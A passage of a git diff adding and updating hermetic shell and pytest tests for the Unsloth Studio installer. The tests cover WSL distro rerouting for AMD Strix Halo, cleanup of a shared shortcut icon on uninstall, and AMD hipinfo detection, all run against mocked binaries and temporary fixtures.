diff --git a/tests/sh/test_nvcc_meets_llama_minimum.sh b/tests/sh/test_nvcc_meets_llama_minimum.sh
index f614c0403a..2a2ac99664 100755
--- a/tests/sh/test_nvcc_meets_llama_minimum.sh
+++ b/tests/sh/test_nvcc_meets_llama_minimum.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Unit tests for _nvcc_meets_llama_minimum() from studio/setup.sh.
 # llama.cpp needs CUDA toolkit >= 12.4 (#4437); setup.ps1 aborts via #4517,
 # the Linux side was silent until this fix.
diff --git a/tests/sh/test_strixhalo_wsl_reroute.sh b/tests/sh/test_strixhalo_wsl_reroute.sh
new file mode 100644
index 0000000000..7edf475ccb
--- /dev/null
+++ b/tests/sh/test_strixhalo_wsl_reroute.sh
@@ -0,0 +1,323 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit tests for _maybe_reroute_strixhalo_to_2404() from install.sh.
+#
+# ROCm-on-WSL only targets Ubuntu 24.04: from a newer distro (e.g. 26.04) with a
+# 24.04 distro present, re-run the install there and stop; otherwise leave the distro
+# alone and let CPU-fallback print the `wsl --install` hint. Tested hermetically: the
+# function is extracted from install.sh, its absolute paths rewritten to per-test
+# fixtures, with a mock wsl.exe (no real WSL).
+#
+# Follows the extract-via-sed pattern of test_get_torch_index_url.sh.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+# All fixtures/temp files live under one root removed on exit, so a set -e abort
+# can't leak dirs into $TMPDIR.
+_TMP_ROOT=$(mktemp -d)
+trap 'rm -rf "$_TMP_ROOT"' EXIT
+
+assert_contains() {
+    _label="$1"; _hay="$2"; _needle="$3"
+    case "$_hay" in
+        *"$_needle"*) echo "  PASS: $_label"; PASS=$((PASS + 1)) ;;
+        *) echo "  FAIL: $_label (missing '$_needle' in: $_hay)"; FAIL=$((FAIL + 1)) ;;
+    esac
+}
+
+assert_absent() {
+    _label="$1"; _hay="$2"; _needle="$3"
+    case "$_hay" in
+        *"$_needle"*) echo "  FAIL: $_label (unexpected '$_needle' in: $_hay)"; FAIL=$((FAIL + 1)) ;;
+        *) echo "  PASS: $_label"; PASS=$((PASS + 1)) ;;
+    esac
+}
+
+# Extract the function and rewrite its hardcoded absolute paths to point at the
+# fixture dir $1, plus stub substep()/colors. The mock wsl.exe lives in $1/bin.
+build_func() {
+    _fix="$1"
+    _f=$(mktemp -p "$_TMP_ROOT")
+    {
+        echo 'substep() { printf "  %s\n" "$1"; }'
+        echo 'C_WARN=""; C_OK=""'
+        sed -n '/^_maybe_reroute_strixhalo_to_2404()/,/^}/p' "$INSTALL_SH"
+    } | sed \
+        -e "s#/dev/dxg#$_fix/dxg#g" \
+        -e "s#/proc/cpuinfo#$_fix/cpuinfo#g" \
+        -e "s#/opt/rocm/lib/librocdxg.so#$_fix/rocm-lib/librocdxg.so#g" \
+        -e "s#/opt/rocm/lib64/librocdxg.so#$_fix/rocm-lib64/librocdxg.so#g" \
+        -e "s#/etc/os-release#$_fix/os-release#g" \
+        > "$_f"
+    echo "$_f"
+}
+
+# make_fixture DXG CPU LIBROCDXG VER HAS2404
+#   DXG/LIBROCDXG/HAS2404 = 1|0 ; CPU = strix|other ; VER = e.g. 26.04|24.04
+make_fixture() {
+    _d=$(mktemp -d -p "$_TMP_ROOT")
+    mkdir -p "$_d/bin" "$_d/rocm-lib" "$_d/rocm-lib64"
+    [ "$1" = 1 ] && : > "$_d/dxg"
+    if [ "$2" = strix ]; then
+        echo "model name : AMD Ryzen AI Max+ 395 w/ Radeon 8060S" > "$_d/cpuinfo"
+    else
+        echo "model name : Generic x86 CPU" > "$_d/cpuinfo"
+    fi
+    [ "$3" = 1 ] && : > "$_d/rocm-lib/librocdxg.so"
+    printf 'VERSION_ID="%s"\n' "$4" > "$_d/os-release"
+    if [ "$5" = 1 ]; then
+        printf 'Ubuntu\nUbuntu-24.04\n' > "$_d/distros"
+    else
+        printf 'Ubuntu\n' > "$_d/distros"
+    fi
+    # Mock wsl.exe: `-l [-q]` lists distros; `-d <distro> -- <cmd...>` runs <cmd>
+    # locally so the reroute command (echo __ROUTED__) is observable.
+    cat > "$_d/bin/wsl.exe" <<MOCK
+#!/bin/sh
+case "\$1" in
+    -l) cat "$_d/distros" ;;
+    -d) _td="\$2"; shift; shift; shift; printf '__CMD__ -d %s -- %s\n' "\$_td" "\$*"; exec "\$@" ;;
+esac
+MOCK
+    chmod +x "$_d/bin/wsl.exe"
+    # Harmless curl stub so the default reroute (curl | sh) never hits the network.
+    printf '#!/bin/sh\nexit 0\n' > "$_d/bin/curl"
+    chmod +x "$_d/bin/curl"
+    echo "$_d"
+}
+
+# run_func FIXTURE_DIR [extra VAR=val ...]
+# Prints the function's stdout. "__ROUTED__" => the reroute exec ran;
+# "__NOROUTE__" => the function returned without rerouting (exit 0 not hit).
+run_func() {
+    _fix="$1"; shift
+    _func=$(build_func "$_fix")
+    env PATH="$_fix/bin:$PATH" \
+        OS=wsl SKIP_TORCH=false \
+        UNSLOTH_SKIP_ROCM_WSL_SETUP=0 UNSLOTH_WSL_REROUTED=0 \
+        UNSLOTH_WSL_REROUTE_CMD='echo __ROUTED__' \
+        "$@" \
+        bash -c ". '$_func'; _maybe_reroute_strixhalo_to_2404; echo SKIP_ROCM=\$UNSLOTH_SKIP_ROCM_WSL_SETUP; echo __NOROUTE__" 2>&1
+    _rc=$?
+    rm -f "$_func"
+    return "$_rc"
+}
+
+echo "=== test_strixhalo_wsl_reroute ==="
+
+# 1) 26.04, Strix Halo, no librocdxg, 24.04 exists -> ROUTE into Ubuntu-24.04
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d")
+assert_contains "26.04 + existing 24.04 -> routes"      "$_out" "__ROUTED__"
+assert_absent   "26.04 route stops current distro"      "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 2) Already on 24.04 -> NO route (correct distro, leave it alone)
+_d=$(make_fixture 1 strix 0 24.04 1)
+_out=$(run_func "$_d")
+assert_contains "on 24.04 -> no route"                  "$_out" "__NOROUTE__"
+assert_absent   "on 24.04 -> reroute not attempted"     "$_out" "__ROUTED__"
+rm -rf "$_d"
+
+# 3) librocdxg already present (working ROCm-on-WSL) -> NO route even on 26.04
+_d=$(make_fixture 1 strix 1 26.04 1)
+_out=$(run_func "$_d")
+assert_contains "librocdxg present -> no route"         "$_out" "__NOROUTE__"
+assert_absent   "librocdxg present -> not rerouted"     "$_out" "__ROUTED__"
+rm -rf "$_d"
+
+# 4) 26.04 but no Ubuntu-24.04 distro -> NO route (install-only-on-prompt path).
+#    Unsupported distro with no reroute target must also skip the origin ROCm bootstrap.
+_d=$(make_fixture 1 strix 0 26.04 0)
+_out=$(run_func "$_d")
+assert_contains "26.04 + no 24.04 distro -> no route"   "$_out" "__NOROUTE__"
+assert_absent   "26.04 + no 24.04 -> not rerouted"      "$_out" "__ROUTED__"
+assert_contains "26.04 + no 24.04 -> skip ROCm bootstrap" "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 5) No /dev/dxg (no WSL GPU passthrough) -> NO route
+_d=$(make_fixture 0 strix 0 26.04 1)
+_out=$(run_func "$_d")
+assert_contains "no /dev/dxg -> no route"               "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 6) Non-Strix CPU -> NO route (don't reroute generic AMD/Intel WSL)
+_d=$(make_fixture 1 other 0 26.04 1)
+_out=$(run_func "$_d")
+assert_contains "non-Strix CPU -> no route"             "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 7) Loop guard: UNSLOTH_WSL_REROUTED=1 -> NO route (the rerouted run must not re-route)
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" UNSLOTH_WSL_REROUTED=1)
+assert_contains "REROUTED=1 loop guard -> no route"     "$_out" "__NOROUTE__"
+assert_absent   "REROUTED=1 -> not rerouted again"      "$_out" "__ROUTED__"
+rm -rf "$_d"
+
+# 8) Opt-out: UNSLOTH_SKIP_ROCM_WSL_SETUP=1 -> NO route
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" UNSLOTH_SKIP_ROCM_WSL_SETUP=1)
+assert_contains "SKIP_ROCM_WSL_SETUP=1 -> no route"     "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 9) Not WSL (OS=linux) -> NO route
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" OS=linux)
+assert_contains "OS=linux -> no route"                  "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 10) SKIP_TORCH=true (GGUF-only) -> NO route (no GPU torch needed)
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" SKIP_TORCH=true)
+assert_contains "SKIP_TORCH=true -> no route"           "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 11) Loop-guard payload: the reroute exports UNSLOTH_WSL_REROUTED=1 into the child
+#     (so the nested install short-circuits gate 7). Verify it reaches wsl.exe -d.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" UNSLOTH_WSL_REROUTE_CMD='echo flag=[$UNSLOTH_WSL_REROUTED]')
+assert_contains "reroute exports loop-guard flag"       "$_out" "flag=[1]"
+rm -rf "$_d"
+
+# 12) On Ubuntu 22.04 -> unsupported by the ROCm-on-WSL bootstrap (helper targets
+#     24.04 only), so with a 24.04 distro present reroute the GPU install there.
+_d=$(make_fixture 1 strix 0 22.04 1)
+_out=$(run_func "$_d")
+assert_contains "22.04 + existing 24.04 -> routes"      "$_out" "__ROUTED__"
+assert_absent   "22.04 route stops current distro"      "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 13) --local install -> NO auto-reroute (a local checkout can't be replayed via
+#     curl|sh); prints guidance and continues locally instead of a different install.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" STUDIO_LOCAL_INSTALL=true)
+assert_contains "--local -> no auto-reroute"            "$_out" "__NOROUTE__"
+assert_contains "--local -> prints re-run guidance"     "$_out" "re-run it from Ubuntu-24.04"
+assert_absent   "--local -> reroute command not run"    "$_out" "__ROUTED__"
+assert_contains "--local -> skip ROCm bootstrap"        "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 14) Custom UNSLOTH_STUDIO_HOME (env mode) is forwarded as an export into the reroute.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" _STUDIO_HOME_REDIRECT=env STUDIO_HOME=/custom/studio \
+        UNSLOTH_WSL_REROUTE_CMD='echo home=[$UNSLOTH_STUDIO_HOME]')
+assert_contains "custom STUDIO_HOME forwarded to reroute" "$_out" "home=[/custom/studio]"
+rm -rf "$_d"
+
+# 15) --package / --python are forwarded onto the default reroute command (curl|sh -s --).
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" PACKAGE_NAME=unsloth-zoo _USER_PYTHON=3.13 UNSLOTH_WSL_REROUTE_CMD=)
+assert_contains "forwards --package to reroute"          "$_out" "--package 'unsloth-zoo'"
+assert_contains "forwards --python to reroute"           "$_out" "--python '3.13'"
+rm -rf "$_d"
+
+# 16) --tauri is forwarded onto the default reroute command.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" PACKAGE_NAME=unsloth TAURI_MODE=true UNSLOTH_WSL_REROUTE_CMD=)
+assert_contains "forwards --tauri to reroute"            "$_out" "--tauri"
+rm -rf "$_d"
+
+# 17) A FAILED reroute sets the ROCm-bootstrap skip guard so _maybe_bootstrap_rocm_wsl
+#     does not later install ROCm into the unsupported origin distro.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" UNSLOTH_WSL_REROUTE_CMD='exit 1')
+assert_contains "failed reroute -> sets ROCm-bootstrap skip guard" "$_out" "SKIP_ROCM=1"
+assert_contains "failed reroute -> continues locally"             "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 18) A successful reroute (no failure) does NOT set the skip guard prematurely.
+_d=$(make_fixture 1 strix 0 24.04 1)
+_out=$(run_func "$_d")
+assert_absent   "supported 24.04 -> skip guard not forced"        "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 19) No wsl.exe on an unsupported distro -> can't reach a 24.04 target, so stay
+#     CPU-only AND set the skip guard (don't bootstrap ROCm into 26.04 etc.).
+#     Drop the stub AND pin PATH to coreutils so a real host wsl.exe can't leak in.
+_d=$(make_fixture 1 strix 0 26.04 1)
+rm -f "$_d/bin/wsl.exe"
+_out=$(run_func "$_d" PATH="$_d/bin:/usr/bin:/bin")
+assert_contains "no wsl.exe -> no route"                          "$_out" "__NOROUTE__"
+assert_absent   "no wsl.exe -> not rerouted"                      "$_out" "__ROUTED__"
+assert_contains "no wsl.exe -> skip ROCm bootstrap"               "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 20) UNSLOTH_ROCM_WSL_AUTO=1 consent is forwarded as an export into the reroute so
+#     the child auto-enables the GPU bootstrap instead of the desktop-app prompt.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" UNSLOTH_ROCM_WSL_AUTO=1 \
+        UNSLOTH_WSL_REROUTE_CMD='echo auto=[$UNSLOTH_ROCM_WSL_AUTO]')
+assert_contains "UNSLOTH_ROCM_WSL_AUTO forwarded to reroute"      "$_out" "auto=[1]"
+rm -rf "$_d"
+
+# 21) Both 24.04 and 22.04 installed -> target 24.04 (the only bootstrap-supported one).
+_d=$(make_fixture 1 strix 0 26.04 1)
+printf 'Ubuntu\nUbuntu-22.04\nUbuntu-24.04\n' > "$_d/distros"
+_out=$(run_func "$_d")
+assert_contains "both present -> routes"                          "$_out" "__ROUTED__"
+assert_contains "both present -> targets 24.04"                   "$_out" "-d Ubuntu-24.04"
+assert_absent   "both present -> does not target 22.04"           "$_out" "-d Ubuntu-22.04"
+rm -rf "$_d"
+
+# 22) Only 22.04 installed (no 24.04) -> no route. 22.04 isn't a bootstrap target,
+#     so stay CPU-only and skip the origin ROCm bootstrap.
+_d=$(make_fixture 1 strix 0 26.04 0)
+printf 'Ubuntu\nUbuntu-22.04\n' > "$_d/distros"
+_out=$(run_func "$_d")
+assert_contains "only 22.04 -> no route"                          "$_out" "__NOROUTE__"
+assert_absent   "only 22.04 -> not rerouted"                      "$_out" "__ROUTED__"
+assert_contains "only 22.04 -> skip ROCm bootstrap"               "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 23) Neither 24.04 nor 22.04 present -> stay CPU-only and skip the ROCm bootstrap.
+_d=$(make_fixture 1 strix 0 26.04 0)
+printf 'Ubuntu\nUbuntu-20.04\n' > "$_d/distros"
+_out=$(run_func "$_d")
+assert_contains "no supported target -> no route"                 "$_out" "__NOROUTE__"
+assert_contains "no supported target -> skip ROCm bootstrap"      "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 24) A custom distro that merely CONTAINS the name (Ubuntu-24.04-test) but has no
+#     exact Ubuntu-24.04 must NOT be picked (substring match would fail wsl -d).
+_d=$(make_fixture 1 strix 0 26.04 0)
+printf 'Ubuntu\nUbuntu-24.04-test\n' > "$_d/distros"
+_out=$(run_func "$_d")
+assert_contains "substring-only distro -> no route"               "$_out" "__NOROUTE__"
+assert_absent   "substring-only distro -> not rerouted"           "$_out" "__ROUTED__"
+assert_contains "substring-only distro -> skip ROCm bootstrap"    "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+# 25) Exact Ubuntu-24.04 alongside a custom Ubuntu-24.04-test -> route to the exact one.
+_d=$(make_fixture 1 strix 0 26.04 0)
+printf 'Ubuntu\nUbuntu-24.04-test\nUbuntu-24.04\n' > "$_d/distros"
+_out=$(run_func "$_d")
+assert_contains "exact + custom -> routes"                        "$_out" "__ROUTED__"
+assert_contains "exact + custom -> targets the exact 24.04"       "$_out" "-d Ubuntu-24.04 --"
+rm -rf "$_d"
+
+# 26) Tauri mode: a child exit 2 ([TAURI:NEED_SUDO]) must propagate so the desktop app
+#     drives elevation for the target distro, not get masked as a CPU fallback here.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_rc=0
+_out=$(run_func "$_d" TAURI_MODE=true UNSLOTH_WSL_REROUTE_CMD='exit 2') || _rc=$?
+if [ "$_rc" = "2" ]; then echo "  PASS: tauri child exit 2 -> reroute propagates exit 2"; PASS=$((PASS+1)); else echo "  FAIL: tauri exit 2 not propagated (rc=$_rc)"; FAIL=$((FAIL+1)); fi
+assert_absent   "tauri exit 2 -> not a CPU fallback"              "$_out" "__NOROUTE__"
+rm -rf "$_d"
+
+# 27) Non-tauri mode: a child exit 2 is just a failure -> CPU fallback, not propagated.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_rc=0
+_out=$(run_func "$_d" UNSLOTH_WSL_REROUTE_CMD='exit 2') || _rc=$?
+if [ "$_rc" = "0" ]; then echo "  PASS: non-tauri exit 2 -> not propagated"; PASS=$((PASS+1)); else echo "  FAIL: non-tauri exit 2 wrongly propagated (rc=$_rc)"; FAIL=$((FAIL+1)); fi
+assert_contains "non-tauri child fail -> CPU fallback"            "$_out" "__NOROUTE__"
+assert_contains "non-tauri child fail -> skip ROCm bootstrap"     "$_out" "SKIP_ROCM=1"
+rm -rf "$_d"
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" -eq 0 ] || exit 1
diff --git a/tests/sh/test_tauri_install_exit_order.sh b/tests/sh/test_tauri_install_exit_order.sh
index 49d7c247c8..20df918e70 100644
--- a/tests/sh/test_tauri_install_exit_order.sh
+++ b/tests/sh/test_tauri_install_exit_order.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 set -e
 
 SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
@@ -34,7 +36,10 @@ shortcut_guard_end_line=$(
 early_tauri_exit_line=$(
     awk -v setup="$first_setup_check_line" '
         NR >= setup { exit }
-        /\[ "\$TAURI_MODE" = true \]/ {
+        # Only a real "if ...; then" opener starts a Tauri block. Ignore && one-liners
+        # like the reroute `[ "$TAURI_MODE" = true ] && _rr_args=... --tauri`, whose
+        # reroute `exit 0` is not an end-of-install success exit.
+        /^[[:space:]]*if \[ "\$TAURI_MODE" = true \][[:space:]]*;[[:space:]]*then[[:space:]]*$/ {
             in_tauri = 1
             depth = 1
             next
diff --git a/tests/sh/test_torch_constraint.sh b/tests/sh/test_torch_constraint.sh
index 4dc8fe661d..293a709360 100644
--- a/tests/sh/test_torch_constraint.sh
+++ b/tests/sh/test_torch_constraint.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Tests for TORCH_CONSTRAINT variable in install.sh and tokenizers in no-torch-runtime.txt.
 # Follows the same assertion pattern as test_mac_intel_compat.sh.
 set -e
diff --git a/tests/sh/test_torch_flavor.sh b/tests/sh/test_torch_flavor.sh
index 1f25ad807c..ead2c4164f 100755
--- a/tests/sh/test_torch_flavor.sh
+++ b/tests/sh/test_torch_flavor.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Unit tests for install.sh's torch-flavor helpers (_torch_flavor_tag,
 # _expected_torch_flavor_tag, _torch_index_repairable) that drive the
 # stale-CPU-PyTorch repair. Helpers are extracted from install.sh and sourced.
diff --git a/tests/sh/test_uninstall_shared_icon.sh b/tests/sh/test_uninstall_shared_icon.sh
new file mode 100644
index 0000000000..e9dca15d5e
--- /dev/null
+++ b/tests/sh/test_uninstall_shared_icon.sh
@@ -0,0 +1,102 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit tests for _drop_shared_icon_if_unused() from scripts/uninstall.sh.
+#
+# The WSL uninstall shares %LOCALAPPDATA%\Unsloth Studio\unsloth.ico with the native
+# install and every other WSL distro's shortcut. Removing one side must KEEP the icon
+# while any "Unsloth Studio*.lnk" still references it, and drop it (plus the dir, if
+# empty) only once the last shortcut is gone. Reciprocal of uninstall.ps1's
+# _RemoveDataDirKeepingWslIcon. Tested hermetically: the function is extracted from
+# uninstall.sh and run against per-test fixture dirs.
+#
+# Follows the extract-via-sed pattern of test_strixhalo_wsl_reroute.sh.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+UNINSTALL_SH="$SCRIPT_DIR/../../scripts/uninstall.sh"
+PASS=0
+FAIL=0
+
+# All fixtures/temp files live under one root removed on exit, so a set -e abort
+# can't leak dirs into $TMPDIR.
+_TMP_ROOT=$(mktemp -d)
+trap 'rm -rf "$_TMP_ROOT"' EXIT
+
+assert_file()   { _l="$1"; [ -f "$2" ] && { echo "  PASS: $_l"; PASS=$((PASS+1)); } || { echo "  FAIL: $_l (missing $2)"; FAIL=$((FAIL+1)); }; }
+assert_nofile() { _l="$1"; [ -f "$2" ] && { echo "  FAIL: $_l (unexpected $2)"; FAIL=$((FAIL+1)); } || { echo "  PASS: $_l"; PASS=$((PASS+1)); }; }
+assert_dir()    { _l="$1"; [ -d "$2" ] && { echo "  PASS: $_l"; PASS=$((PASS+1)); } || { echo "  FAIL: $_l (missing dir $2)"; FAIL=$((FAIL+1)); }; }
+assert_nodir()  { _l="$1"; [ -d "$2" ] && { echo "  FAIL: $_l (unexpected dir $2)"; FAIL=$((FAIL+1)); } || { echo "  PASS: $_l"; PASS=$((PASS+1)); }; }
+
+# Extract just the function definition (12-space indented in the WSL branch).
+FUNC_FILE=$(mktemp -p "$_TMP_ROOT")
+sed -n '/_drop_shared_icon_if_unused() {/,/^            }/p' "$UNINSTALL_SH" > "$FUNC_FILE"
+# shellcheck disable=SC1090
+. "$FUNC_FILE"
+
+# make_user [shortcut_relpath] : a fresh fake Windows user dir with unsloth.ico,
+# optionally placing an "Unsloth Studio*.lnk" at the given relative path.
+make_user() {
+    _u=$(mktemp -d -p "$_TMP_ROOT")
+    mkdir -p "$_u/AppData/Local/Unsloth Studio"
+    : > "$_u/AppData/Local/Unsloth Studio/unsloth.ico"
+    if [ -n "${1:-}" ]; then
+        mkdir -p "$_u/$(dirname "$1")"
+        : > "$_u/$1"
+    fi
+    echo "$_u"
+}
+ICO='AppData/Local/Unsloth Studio/unsloth.ico'
+DIR='AppData/Local/Unsloth Studio'
+SM='AppData/Roaming/Microsoft/Windows/Start Menu/Programs'
+
+# 1. A surviving NATIVE shortcut (Start Menu) -> icon and dir kept.
+u=$(make_user "$SM/Unsloth Studio.lnk")
+_drop_shared_icon_if_unused "$u"
+assert_file "native Start Menu shortcut -> icon kept" "$u/$ICO"
+assert_dir  "native Start Menu shortcut -> dir kept"  "$u/$DIR"
+
+# 2. A surviving native shortcut on the Desktop -> icon kept.
+u=$(make_user "Desktop/Unsloth Studio.lnk")
+_drop_shared_icon_if_unused "$u"
+assert_file "native Desktop shortcut -> icon kept" "$u/$ICO"
+
+# 3. Another WSL distro's shortcut survives -> icon kept (shared by all distros).
+u=$(make_user "Desktop/Unsloth Studio (WSL - OtherDistro).lnk")
+_drop_shared_icon_if_unused "$u"
+assert_file "other WSL distro shortcut -> icon kept" "$u/$ICO"
+
+# 4. A shortcut under OneDrive\Desktop is also honored.
+u=$(make_user "OneDrive/Desktop/Unsloth Studio.lnk")
+_drop_shared_icon_if_unused "$u"
+assert_file "OneDrive Desktop shortcut -> icon kept" "$u/$ICO"
+
+# 5. No shortcut anywhere -> icon removed and the (now empty) dir removed.
+u=$(make_user)
+_drop_shared_icon_if_unused "$u"
+assert_nofile "no shortcut -> icon removed" "$u/$ICO"
+assert_nodir  "no shortcut -> empty dir removed" "$u/$DIR"
+
+# 6. No shortcut, but the data dir has another file -> icon removed, dir KEPT.
+u=$(make_user)
+: > "$u/$DIR/launch-studio.ps1"
+_drop_shared_icon_if_unused "$u"
+assert_nofile "no shortcut -> icon removed (non-empty dir)" "$u/$ICO"
+assert_dir    "non-empty dir kept" "$u/$DIR"
+
+# 7. Missing data dir is a safe no-op (no error, exit 0).
+u=$(mktemp -d -p "$_TMP_ROOT")
+if _drop_shared_icon_if_unused "$u"; then
+    echo "  PASS: missing data dir -> no-op"; PASS=$((PASS+1))
+else
+    echo "  FAIL: missing data dir errored"; FAIL=$((FAIL+1))
+fi
+
+# 8. A non-Unsloth .lnk must NOT keep the icon alive.
+u=$(make_user "Desktop/Some Other App.lnk")
+_drop_shared_icon_if_unused "$u"
+assert_nofile "unrelated shortcut -> icon still removed" "$u/$ICO"
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" = 0 ]
diff --git a/tests/studio/install/test_pr5940_followups.py b/tests/studio/install/test_pr5940_followups.py
index 9b739272b1..ac6a96167a 100644
--- a/tests/studio/install/test_pr5940_followups.py
+++ b/tests/studio/install/test_pr5940_followups.py
@@ -6,9 +6,11 @@
 Mock-only; no AMD hardware or network required."""
 
 import importlib.util
+import os
 import re
 import subprocess
 import sys
+import tempfile
 from pathlib import Path
 from unittest.mock import MagicMock, patch
 
@@ -29,6 +31,8 @@ _SPEC.loader.exec_module(prebuilt)
 _INSTALL_PS1 = PACKAGE_ROOT / "install.ps1"
 _SETUP_PS1 = PACKAGE_ROOT / "studio" / "setup.ps1"
 _INSTALL_SH = PACKAGE_ROOT / "install.sh"
+_AMD_PY = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "amd.py"
+_PYSTACK_PY = PACKAGE_ROOT / "studio" / "install_python_stack.py"
 
 
 # ── _hf_resolve_url_parts ────────────────────────────────────────────────────
@@ -217,17 +221,23 @@ def test_setup_sh_name_arch_table_in_sync_with_install_sh():
 
 
 def _amd_smi_allowed_under(system, hipinfo_present, env):
-    which = (
-        (lambda name: r"C:\hip\bin\hipinfo.exe" if name == "hipinfo" else None)
-        if hipinfo_present
-        else (lambda name: None)
-    )
-    with (
-        patch.object(prebuilt.platform, "system", return_value = system),
-        patch.object(prebuilt.shutil, "which", side_effect = which),
-        patch.dict(prebuilt.os.environ, env, clear = True),
-    ):
-        return prebuilt._amd_smi_allowed()
+    # Build a real (temp) PATH so _external_hipinfo_on_path scans it like prod;
+    # an external hipinfo.exe outside the pinned venv models a real HIP SDK.
+    with tempfile.TemporaryDirectory() as tmp:
+        venv_root = os.path.join(tmp, "venv")
+        os.makedirs(venv_root)
+        path_env = dict(env)
+        if hipinfo_present:
+            sdk_bin = os.path.join(tmp, "hipsdk", "bin")
+            os.makedirs(sdk_bin)
+            open(os.path.join(sdk_bin, "hipinfo.exe"), "w").close()
+            path_env["PATH"] = sdk_bin + os.pathsep + path_env.get("PATH", "")
+        with (
+            patch.object(prebuilt.platform, "system", return_value = system),
+            patch.object(prebuilt.sys, "prefix", venv_root),
+            patch.dict(prebuilt.os.environ, path_env, clear = True),
+        ):
+            return prebuilt._amd_smi_allowed()
 
 
 def test_amd_smi_allowed_on_linux_regardless():
@@ -261,12 +271,260 @@ def test_amd_smi_opt_out_overrides_hip_sdk():
     )
 
 
+def test_amd_smi_skipped_when_hipinfo_is_venv_internal(tmp_path):
+    # The venv hipInfo.exe (AMD wheel via the bnb fix) is NOT a HIP SDK and must
+    # not re-open the gate -- else amd-smi pops the DiskPart UAC mid-install on
+    # Strix Halo with no real HIP SDK (the snapcast3r/UBER6 bug).
+    venv_root = tmp_path / "venv"
+    venv_scripts = venv_root / "Scripts"
+    venv_scripts.mkdir(parents = True)
+    (venv_scripts / "hipinfo.exe").write_text("")
+    with (
+        patch.object(prebuilt.platform, "system", return_value = "Windows"),
+        patch.object(prebuilt.sys, "prefix", str(venv_root)),
+        patch.dict(prebuilt.os.environ, {"PATH": str(venv_scripts)}, clear = True),
+    ):
+        assert prebuilt._amd_smi_allowed() is False
+
+
+def test_amd_smi_allowed_when_hipinfo_outside_venv(tmp_path):
+    # A hipinfo from a real HIP SDK (outside the venv) still opens the gate, so
+    # HIP-SDK Windows users keep amd-smi (no regression for the venv-exclusion).
+    sdk_bin = tmp_path / "hipsdk" / "bin"
+    sdk_bin.mkdir(parents = True)
+    (sdk_bin / "hipinfo.exe").write_text("")
+    with (
+        patch.object(prebuilt.platform, "system", return_value = "Windows"),
+        patch.object(prebuilt.sys, "prefix", str(tmp_path / "venv")),
+        patch.dict(prebuilt.os.environ, {"PATH": str(sdk_bin)}, clear = True),
+    ):
+        assert prebuilt._amd_smi_allowed() is True
+
+
+def test_amd_smi_allowed_when_external_hipinfo_shadowed_by_venv(tmp_path):
+    # Venv hipInfo first on PATH (bnb fix), real SDK's later, HIP_PATH/ROCM_PATH
+    # unset. A first-hit which/Get-Command stops at the venv copy and wrongly
+    # closes the gate; scanning every PATH entry must still find the external SDK.
+    venv_root = tmp_path / "venv"
+    venv_scripts = venv_root / "Scripts"
+    venv_scripts.mkdir(parents = True)
+    (venv_scripts / "hipinfo.exe").write_text("")
+    sdk_bin = tmp_path / "hipsdk" / "bin"
+    sdk_bin.mkdir(parents = True)
+    (sdk_bin / "hipinfo.exe").write_text("")
